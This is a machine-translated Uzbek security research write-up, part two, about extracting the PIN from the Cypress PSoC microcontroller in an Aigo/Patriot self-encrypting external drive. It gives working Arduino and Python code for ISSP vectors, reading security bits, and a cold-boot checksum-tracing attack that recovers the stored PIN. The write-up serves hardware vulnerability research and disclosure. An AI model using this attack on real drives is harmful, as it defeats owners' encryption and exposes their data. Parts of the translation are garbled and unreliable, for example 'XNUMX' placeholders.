Aigo o'z-o'zini shifrlaydigan tashqi HDD diskini teskari o'zgartirish va buzish. 2-qism: Cypress PSoC dan chiqindini olish

Bu tashqi o'z-o'zini shifrlovchi drayverlarni buzish haqidagi maqolaning ikkinchi va oxirgi qismi. Eslatib o'taman, yaqinda bir hamkasbim menga Patriot (Aigo) SK8671 qattiq diskini olib keldi va men uni teskari o'zgartirishga qaror qildim va endi men undan chiqqan narsalarni baham ko'raman. Batafsil o'qishdan oldin, albatta o'qing birinchi qism maqolalar.

4. Biz ichki PSoC flesh-diskidan borini olishni boshlaymiz
5. ISSP protokoli
– 5.1. ISSP nima
– 5.2. Demistifikatsiya qiluvchi vektorlar
– 5.3. PSoC bilan aloqa
– 5.4. Chipdagi registrlarni aniqlash
– 5.5. Xavfsizlik bitlari
6. Birinchi (muvaffaqiyatsiz) hujum: ROMX
7. Ikkinchi hujum: Cold Boot Tracing
– 7.1. Amalga oshirish
– 7.2. Natijani o'qish
– 7.3. Flash binar rekonstruksiya
– 7.4. PIN kodni saqlash manzili topilmoqda
– 7.5. 126-sonli blokdan chiqindixonani olish
– 7.6. PIN kodni tiklash
8. Keyingi nima?
9. Xulosa

Aigo o'z-o'zini shifrlaydigan tashqi HDD diskini teskari o'zgartirish va buzish. 2-qism: Cypress PSoC dan chiqindini olish


4. Biz ichki PSoC flesh-diskidan borini olishni boshlaymiz

Shunday qilib, hamma narsa (biz [birinchi qismda]()da aniqlaganimizdek) PIN-kod PSoC flesh chuqurligida saqlanganligini ko'rsatadi. Shuning uchun, biz bu chaqnash chuqurliklarini o'qishimiz kerak. Kerakli ishlarning old tomoni:

  • mikrokontroller bilan "aloqa" ni nazorat qilish;
  • bu "muloqot" tashqaridan o'qishdan himoyalanganligini tekshirish yo'lini toping;
  • himoyani chetlab o'tish yo'lini toping.

Yaroqli PIN kodni qidirishning ikkita joyi bor:

  • ichki flesh xotira;
  • SRAM, bu erda pin-kod foydalanuvchi tomonidan kiritilgan pin-kod bilan solishtirish uchun saqlanishi mumkin.

Oldinga qarab, ISSP protokolining hujjatsiz imkoniyatlarini o'zgartirgandan so'ng, men hali ham ichki PSoC flesh-diskini olib tashlashga muvaffaq bo'lganimni ta'kidlayman - "sovuq yuklashni kuzatish" deb nomlangan apparat hujumi yordamida uning xavfsizlik tizimini chetlab o'tish. Bu menga haqiqiy PIN kodni to'g'ridan-to'g'ri tashlashga imkon berdi.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Yakuniy dastur kodi:

5. ISSP protokoli

5.1. ISSP nima

Mikrokontroller bilan "muloqot" turli xil ma'nolarni anglatishi mumkin: "sotuvchidan sotuvchiga" dan seriyali protokol yordamida o'zaro ta'sirga qadar (masalan, Microchip PIC uchun ICSP).

Cypress-ning buning uchun ISSP (tizim ichidagi ketma-ket dasturlash protokoli) deb ataladigan o'ziga xos protokoli mavjud bo'lib, u qisman tavsiflangan. texnik spetsifikatsiya. Patent US7185162 ham ba'zi ma'lumotlar beradi. HSSP deb nomlangan OpenSource ekvivalenti ham mavjud (biz uni birozdan keyin ishlatamiz). ISSP quyidagicha ishlaydi:

  • PSoC-ni qayta ishga tushiring;
  • sehrli raqamni ushbu PSoC ning seriyali ma'lumotlar piniga chiqaring; tashqi dasturlash rejimiga kirish;
  • "vektorlar" deb ataladigan uzun bitli satrlar bo'lgan buyruqlarni yuborish.

ISSP hujjatlari bu vektorlarni faqat bir nechta buyruqlar uchun belgilaydi:

  • Boshlash - 1
  • Boshlash - 2
  • Initialize-3 (3V va 5V variantlari)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, bu erda dddddddd=blok #
  • YUMUMIY OʻCHIRISH
  • DASTUR-BLOK
  • TASHIRISH-SUZLASH
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, bu erda DDDDDDDD = ma'lumotlar chiqishi, aaaaaa = manzil (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, bu erda dddddddd = ma'lumotlar, aaaaaa = manzil (6 bit)
  • SECURE
  • CHEKKSUM-SONLASH
  • OʻQISH-TASHKORIY YETISM: 10111111001ZDDDDDDDZ110111111000ZDDDDDDDDDZ1, bu yerda DDDDDDDDDDDDDDD = maʼlumotlar chiqishi: qurilma nazorat summasi
  • BLOKNI O‘CHIRISH

Masalan, Initialize-2 uchun vektor:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Barcha vektorlar bir xil uzunlikka ega: 22 bit. HSSP hujjatlarida ISSP haqida qoʻshimcha maʼlumotlar mavjud: “ISSP vektori koʻrsatmalar toʻplamini ifodalovchi bit ketma-ketligidan boshqa narsa emas”.

5.2. Demistifikatsiya qiluvchi vektorlar

Keling, bu erda nima bo'layotganini aniqlaylik. Dastlab, men xuddi shu vektorlar M8C ko'rsatmalarining xom versiyalari deb taxmin qildim, ammo bu gipotezani tekshirgandan so'ng, operatsiyalarning kodlari mos kelmasligini aniqladim.

Keyin yuqoridagi vektorni googleda qidirib topdim bu shunchaki tadqiqot muallif, garchi u batafsil ma'lumot bermasa ham, foydali maslahatlar beradi: "Har bir ko'rsatma to'rtta mnemonikadan biriga mos keladigan uchta bitdan boshlanadi (RAMdan o'qing, RAMga yozing, registrni o'qing, registrni yozing). Keyin 8 ta manzil biti, undan keyin 8 ma'lumot biti (o'qish yoki yozish) va nihoyat uchta to'xtash biti mavjud.

Keyin men Supervisory ROM (SROM) bo'limidan juda foydali ma'lumotlarni to'plashga muvaffaq bo'ldim. texnik qo'llanma. SROM - bu PSoC-da qattiq kodlangan ROM bo'lib, u foydalanuvchi maydonida ishlaydigan dastur kodi uchun yordamchi funktsiyalarni (Syscall-ga o'xshash tarzda) ta'minlaydi:

  • 00: SWBootReset
  • 01 soat: O'qishni bloklash
  • 02: WriteBlock
  • 03 soat: Oʻchirish bloki
  • 06: Jadvalni o'qish
  • 07 soat: Tekshirish summasi
  • 08 soat: kalibrlash0
  • 09 soat: kalibrlash1

Vektor nomlarini SROM funktsiyalari bilan taqqoslash orqali biz ushbu protokol tomonidan qo'llab-quvvatlanadigan turli operatsiyalarni kutilgan SROM parametrlari bilan taqqoslashimiz mumkin. Buning yordamida biz ISSP vektorlarining dastlabki uchta bitini dekodlashimiz mumkin:

  • 100 => "wrem"
  • 101 => “rdmem”
  • 110 => "wrreg"
  • 111 => “rdreg”

Biroq, chipdagi jarayonlarni to'liq tushunishni faqat PSoC bilan bevosita aloqa qilish orqali olish mumkin.

5.3. PSoC bilan aloqa

Dirk Petrautskiy allaqachon bor portlangan Arduino-dagi Cypress-ning HSSP kodi, men klaviatura platasining ISSP ulagichiga ulanish uchun Arduino Uno-dan foydalandim.

E'tibor bering, tadqiqotim davomida men Dirkning kodini biroz o'zgartirdim. Siz mening o'zgartirishimni GitHub'da topishingiz mumkin: shu yerda va mening omborimda Arduino bilan bog'lanish uchun tegishli Python skripti cypress_psoc_tools.

Shunday qilib, Arduino-dan foydalanib, men birinchi navbatda "muloqot" uchun faqat "rasmiy" vektorlardan foydalandim. VERIFY buyrug'i yordamida ichki ROMni o'qishga harakat qildim. Kutilganidek, men buni qila olmadim. Ehtimol, flesh-disk ichida o'qishni himoya qilish bitlari faollashtirilganligi sababli.

Keyin xotira/registrlarni yozish va o'qish uchun o'zimning bir nechta oddiy vektorlarimni yaratdim. Esda tutingki, flesh-disk himoyalangan bo'lsa ham, biz butun SROMni o'qiy olamiz!

5.4. Chipdagi registrlarni aniqlash

"Demontaj qilingan" vektorlarni ko'rib chiqqanimdan so'ng, men qurilma himoyani chetlab o'tib, to'g'ridan-to'g'ri bajariladigan M0C opkodlarini belgilash uchun hujjatsiz registrlardan (8xF0-8xFA) foydalanishini aniqladim. Bu menga "ADD", "MOV A, X", "PUSH" yoki "JMP" kabi turli xil opkodlarni ishga tushirishga imkon berdi. Ularning yordami bilan (registrlarda mavjud bo'lgan nojo'ya ta'sirlarni ko'rib chiqish orqali) men hujjatsiz registrlardan qaysi biri haqiqatda oddiy registrlar (A, X, SP va PC) ekanligini aniqlashga muvaffaq bo'ldim.

Natijada, HSSP_disas.rb vositasi tomonidan yaratilgan "demontaj qilingan" kod quyidagicha ko'rinadi (aniqlik uchun izohlar qo'shdim):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Xavfsizlik bitlari

Ushbu bosqichda men allaqachon PSoC bilan bog'lana olaman, lekin men hali ham flesh-diskning xavfsizlik bitlari haqida ishonchli ma'lumotga ega emasman. Meni Cypress qurilma foydalanuvchisiga himoya faollashtirilganligini tekshirish uchun hech qanday vosita bilan ta'minlamasligi meni hayratda qoldirdi. Men Cypress tomonidan taqdim etilgan HSSP kodi Dirk o'z modifikatsiyasini chiqarganidan keyin yangilanganligini tushunish uchun Google-ga chuqurroq kirib bordim. Va hokazo! Ushbu yangi vektor paydo bo'ldi:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ushbu vektor yordamida (psoc.py-dagi read_security_data-ga qarang), biz SRAM-dagi barcha xavfsizlik bitlarini 0x80 da olamiz, bu erda har bir himoyalangan blokda ikkita bit mavjud.

Natija tushkunlikka tushadi: hamma narsa "tashqi o'qish va yozishni o'chirish" rejimida himoyalangan. Shuning uchun biz nafaqat flesh-diskdan hech narsa o'qiy olmaymiz, balki hech narsa yoza olmaymiz (masalan, u erda ROM dumperini o'rnatish uchun). Va himoyani o'chirishning yagona yo'li butun chipni butunlay o'chirishdir. 🙁

6. Birinchi (muvaffaqiyatsiz) hujum: ROMX

Biroq, biz quyidagi hiyla-nayrangni sinab ko'rishimiz mumkin: biz o'zboshimchalik bilan opkodlarni bajarish qobiliyatiga egamiz, nega flesh-xotirani o'qish uchun ishlatiladigan ROMX-ni bajarmaslik kerak? Ushbu yondashuv muvaffaqiyatga erishish uchun yaxshi imkoniyatga ega. Chunki SROM dan ma'lumotlarni o'qiydigan ReadBlock funktsiyasi (vektorlar tomonidan qo'llaniladi) ISSP dan chaqirilganligini tekshiradi. Biroq, ROMX opkodi, ehtimol, bunday tekshiruvga ega bo'lmasligi mumkin. Mana Python kodi (Arduino kodiga bir nechta yordamchi sinflarni qo'shgandan keyin):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Afsuski, bu kod ishlamaydi. 🙁 To'g'rirog'i u ishlaydi, lekin natijada biz o'zimizning opkodlarni olamiz (0x28 0x30 0x40)! Qurilmaning mos keladigan funksiyasi o'qishni himoya qilish elementi deb o'ylamayman. Bu ko'proq muhandislik hiylasiga o'xshaydi: tashqi opkodlarni bajarishda ROM avtobusi vaqtinchalik buferga yo'naltiriladi.

7. Ikkinchi hujum: Cold Boot Tracing

ROMX nayrangi ishlamagani uchun men ushbu hiylaning boshqa varianti haqida o'ylay boshladim - nashrda tasvirlangan "Mikrokontrollerning proshivka himoyasiga juda ko'p yorug'lik tushishi".

7.1. Amalga oshirish

ISSP hujjatlari CHECKSUM-SETUP uchun quyidagi vektorni taqdim etadi:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu hujjatlarda ko'rsatilganidek, SROM funktsiyasi 0x07 deb nomlanadi (kursiv meniki):

Bu funksiya nazorat summasini tekshirish. U noldan boshlab bitta flesh-bankdagi foydalanuvchi tomonidan belgilangan bloklar sonining 16 bitli nazorat summasini hisoblab chiqadi. BLOCKID parametri nazorat summasini hisoblashda foydalaniladigan bloklar sonini o'tkazish uchun ishlatiladi. "1" qiymati faqat blok nol uchun nazorat summasini hisoblab chiqadi; unda qanday "0" flesh-bankning barcha 256 bloklarining umumiy nazorat summasini hisoblashga olib keladi. 16 bitli nazorat summasi KEY1 va KEY2 orqali qaytariladi. KEY1 parametri nazorat summasining past tartibli 8 bitini, KEY2 parametri esa yuqori tartibli 8 bitni saqlaydi. Bir nechta flesh-bankli qurilmalar uchun checksum funktsiyasi har biri uchun alohida chaqiriladi. U ishlaydigan bank raqami FLS_PR1 registri tomonidan o'rnatiladi (undagi bitni maqsadli flesh-bankga mos ravishda o'rnatish orqali).

E'tibor bering, bu oddiy nazorat summasi: baytlar birin-ketin qo'shiladi; hech qanday ajoyib CRC g'alatiliklar. Bundan tashqari, M8C yadrosi juda kichik registrlar to'plamiga ega ekanligini bilib, men nazorat summasini hisoblashda oraliq qiymatlar oxir-oqibat chiqishga o'tadigan bir xil o'zgaruvchilarda qayd etilishini taxmin qildim: KEY1 (0xF8) / KEY2 ( 0xF9).

Shunday qilib, nazariy jihatdan mening hujumim shunday ko'rinadi:

  1. Biz ISSP orqali ulanamiz.
  2. CHECKSUM-SETUP vektori yordamida nazorat summasini hisoblashni boshlaymiz.
  3. Belgilangan vaqtdan keyin T protsessorni qayta ishga tushiramiz.
  4. Joriy nazorat summasi C olish uchun biz RAMni o'qiymiz.
  5. Har safar T ni biroz oshirib, 3 va 4-bosqichlarni takrorlang.
  6. Biz flesh-diskdan ma'lumotlarni avvalgi nazorat summasidan C ni joriyidan ayirish orqali tiklaymiz.

Biroq, muammo bor: qayta ishga tushirilgandan so'ng yuborishimiz kerak bo'lgan Initialize-1 vektori KEY1 va KEY2 ning ustiga yoziladi:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu kod Calibrate1 (SROM funksiyasi 9) ga qo'ng'iroq qilish orqali bizning qimmatli nazorat summamiz ustidan yozadi... Balki biz dasturlash rejimiga kirish uchun sehrli raqamni (yuqoridagi kodning boshidan boshlab) yuborishimiz va keyin SRAMni o'qishimiz mumkinmi? Va ha, u ishlaydi! Ushbu hujumni amalga oshiradigan Arduino kodi juda oddiy:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay ni o'qing.
  2. Nazorat summasini hisoblashni ishga tushiring (send_checksum_v).
  3. Belgilangan vaqtni kuting; quyidagi kamchiliklarni hisobga olgan holda:
    • Nima bo'lishini bilgunimcha, ko'p vaqtimni behuda o'tkazdim kechikish mikrosekundlar faqat 16383 mks dan oshmaydigan kechikishlar bilan to'g'ri ishlaydi;
    • va keyin men delayMicroseconds, agar unga kirish sifatida 0 o'tkazilsa, butunlay noto'g'ri ishlashini aniqlamagunimcha, yana bir xil vaqtni o'ldirdim!
  4. PSoC-ni dasturlash rejimiga qayta yoqing (biz ishga tushirish vektorlarini yubormasdan sehrli raqamni yuboramiz).

Pythondagi yakuniy kod:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Xulosa qilib aytganda, bu kod nima qiladi:

  1. PSoC-ni qayta ishga tushiradi (va unga sehrli raqam yuboradi).
  2. To'liq ishga tushirish vektorlarini yuboradi.
  3. Arduino funksiyasini Cmnd_STK_START_CSUM (0x85) chaqiradi, bu erda mikrosekundlardagi kechikish parametr sifatida uzatiladi.
  4. Tekshirish summasini (0xF8 va 0xF9) va hujjatsiz 0xF1 registrini o'qiydi.

Bu kod 10 mikrosekundda 1 marta bajariladi. 0xF1 bu yerga kiritilgan, chunki u nazorat summasini hisoblashda o'zgargan yagona registr edi. Ehtimol, bu arifmetik mantiq birligi tomonidan ishlatiladigan vaqtinchalik o'zgaruvchidir. Arduino hayot belgilarini ko'rsatishni to'xtatganda, pikokom yordamida Arduino-ni qayta tiklash uchun ishlatadigan xunuk buzg'unchilikka e'tibor bering (nima uchun hech qanday tasavvur yo'q).

7.2. Natijani o'qish

Python skriptining natijasi quyidagicha ko'rinadi (o'qish uchun soddalashtirilgan):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Aytgancha, bizda muammo bor: biz haqiqiy nazorat summasi bilan ishlayotganimiz sababli, null bayt o'qilgan qiymatni o'zgartirmaydi. Biroq, butun hisoblash protsedurasi (8192 bayt) 0,1478 soniyani (har bir ishga tushirilganda ozgina o'zgarishlar bilan) egallaganligi sababli, bu har bir bayt uchun taxminan 18,04 ms ga to'g'ri keladi, biz bu vaqtdan tegishli vaqtlarda nazorat yig'indisi qiymatini tekshirishimiz mumkin. Birinchi ishga tushirishda hamma narsa juda oson o'qiladi, chunki hisoblash protsedurasining davomiyligi har doim deyarli bir xil. Biroq, bu axlatning oxiri unchalik aniq emas, chunki har bir yugurishdagi "vaqtning kichik og'ishlari" qo'shilib, sezilarli bo'ladi:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Bu har bir mikrosekundlik kechikish uchun 10 ta dump. Barcha 8192 bayt flesh-diskni o'chirish uchun umumiy ish vaqti taxminan 48 soatni tashkil qiladi.

7.3. Flash binar rekonstruksiya

Men har doimgi og'ishlarni hisobga olgan holda flesh-diskning dastur kodini to'liq qayta tiklaydigan kodni yozishni hali tugatmadim. Biroq, men ushbu kodning boshlanishini allaqachon tikladim. Buni to'g'ri bajarganimga ishonch hosil qilish uchun uni m8cdis yordamida qismlarga ajratdim:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Juda ishonarli ko'rinadi!

7.4. PIN kodni saqlash manzili topilmoqda

Endi biz nazorat summasini kerakli vaqtda o‘qiy olsak, uning qanday va qayerda o‘zgarishini osonlikcha tekshirishimiz mumkin:

  • noto'g'ri PIN kodni kiriting;
  • pin kodini o'zgartiring.

Birinchidan, taxminiy saqlash manzilini topish uchun men qayta ishga tushirilgandan so'ng 10 milodiy bosqichda nazorat summasini oldim. Keyin noto'g'ri PIN-kodni kiritdim va xuddi shunday qildim.

Natija unchalik yoqimli emas edi, chunki ko'p o'zgarishlar bo'ldi. Ammo oxir-oqibat men nazorat summasi 120000 140000 mks va 0 XNUMX mks kechikish oralig'ida o'zgarganligini aniqladim. Ammo men u erda ko'rsatgan "pinkod" butunlay noto'g'ri edi - XNUMX o'tkazilganda g'alati ishlarni bajaradigan delayMicroseconds protsedurasi artefakti tufayli.

Keyin, deyarli 3 soat vaqt sarflaganimdan so'ng, SROM tizimi chaqiruvi CheckSum tekshiruv summasi uchun bloklar sonini ko'rsatadigan argumentni kirish sifatida qabul qilishini esladim! Bu. biz PIN-kodning saqlash manzilini va "noto'g'ri urinishlar" hisoblagichini 64 bayt blokgacha bo'lgan aniqlik bilan osongina lokalizatsiya qilishimiz mumkin.

Mening dastlabki yugurishlarim quyidagi natijani berdi:

Aigo o'z-o'zini shifrlaydigan tashqi HDD diskini teskari o'zgartirish va buzish. 2-qism: Cypress PSoC dan chiqindini olish

Keyin PIN kodni "123456" dan "1234567" ga o'zgartirdim va oldim:

Aigo o'z-o'zini shifrlaydigan tashqi HDD diskini teskari o'zgartirish va buzish. 2-qism: Cypress PSoC dan chiqindini olish

Shunday qilib, PIN-kod va noto'g'ri urinishlar hisoblagichi 126-blokda saqlangan ko'rinadi.

7.5. 126-sonli blokdan chiqindixonani olish

№126 blok nazorat summasini hisoblash boshlangandan boshlab 125x64x18 = 144000ms atrofida joylashgan bo'lishi kerak, mening to'liq axlatxonamda va bu juda mantiqiy ko'rinadi. Keyin, ko'plab noto'g'ri axlatlarni qo'lda elakdan o'tkazgandan so'ng ("vaqtdagi kichik og'ishlar" to'planishi tufayli) men ushbu baytlarni oldim (145527 mks kechikishda):

Aigo o'z-o'zini shifrlaydigan tashqi HDD diskini teskari o'zgartirish va buzish. 2-qism: Cypress PSoC dan chiqindini olish

PIN-kod shifrlanmagan shaklda saqlanganligi aniq! Bu qiymatlar, albatta, ASCII kodlarida yozilmagan, ammo ma'lum bo'lishicha, ular sig'imli klaviaturadan olingan ko'rsatkichlarni aks ettiradi.

Nihoyat, men noto'g'ri urinish hisoblagichi qaerda saqlanganligini aniqlash uchun yana bir nechta testlarni o'tkazdim. Mana natija:

Aigo o'z-o'zini shifrlaydigan tashqi HDD diskini teskari o'zgartirish va buzish. 2-qism: Cypress PSoC dan chiqindini olish

0xFF - "15 ta urinish" degan ma'noni anglatadi va u har bir muvaffaqiyatsiz urinishda kamayadi.

7.6. PIN kodni tiklash

Mana mening xunuk kodim yuqoridagilarni birlashtiradi:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Mana uning bajarilishi natijasi:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Xayr! Ishlaydi!

Shuni esda tutingki, men ishlatgan kechikish qiymatlari, ehtimol, men ishlatgan ma'lum bir PSoC ga tegishli.

8. Keyingi nima?

Shunday qilib, keling, Aigo diskimiz kontekstida PSoC tomonini umumlashtiramiz:

  • biz SRAMni o'qishdan himoyalangan bo'lsa ham o'qiy olamiz;
  • Sovuq yuklash kuzatuv hujumidan foydalanish va to'g'ridan-to'g'ri PIN kodni o'qish orqali surishdan himoyalanishni chetlab o'tishimiz mumkin.

Biroq, bizning hujumimiz sinxronizatsiya muammolari tufayli ba'zi kamchiliklarga ega. Buni quyidagicha yaxshilash mumkin:

  • "sovuq yuklash izi" hujumi natijasida olingan chiqish ma'lumotlarini to'g'ri dekodlash uchun yordamchi dastur yozing;
  • aniqroq vaqt kechikishlarini yaratish uchun FPGA gadjetidan foydalaning (yoki Arduino apparat taymerlaridan foydalaning);
  • boshqa hujumni sinab ko'ring: ataylab noto'g'ri PIN kodni kiriting, RAMni qayta ishga tushiring va to'g'ri PIN kod taqqoslash uchun RAMda saqlanadi deb umid qilib, RAMni o'chiring. Biroq, Arduino-da buni qilish unchalik oson emas, chunki Arduino signal darajasi 5 voltni tashkil qiladi, biz tekshirayotgan taxta 3,3 voltli signallar bilan ishlaydi.

Sinab ko'rish mumkin bo'lgan qiziqarli narsa - o'qish himoyasini chetlab o'tish uchun kuchlanish darajasi bilan o'ynash. Agar bu yondashuv ishlagan bo'lsa, biz flesh-diskdan mutlaqo aniq ma'lumotlarni olishimiz mumkin edi - aniq vaqt kechikishlari bilan nazorat summasini o'qishga ishonish o'rniga.

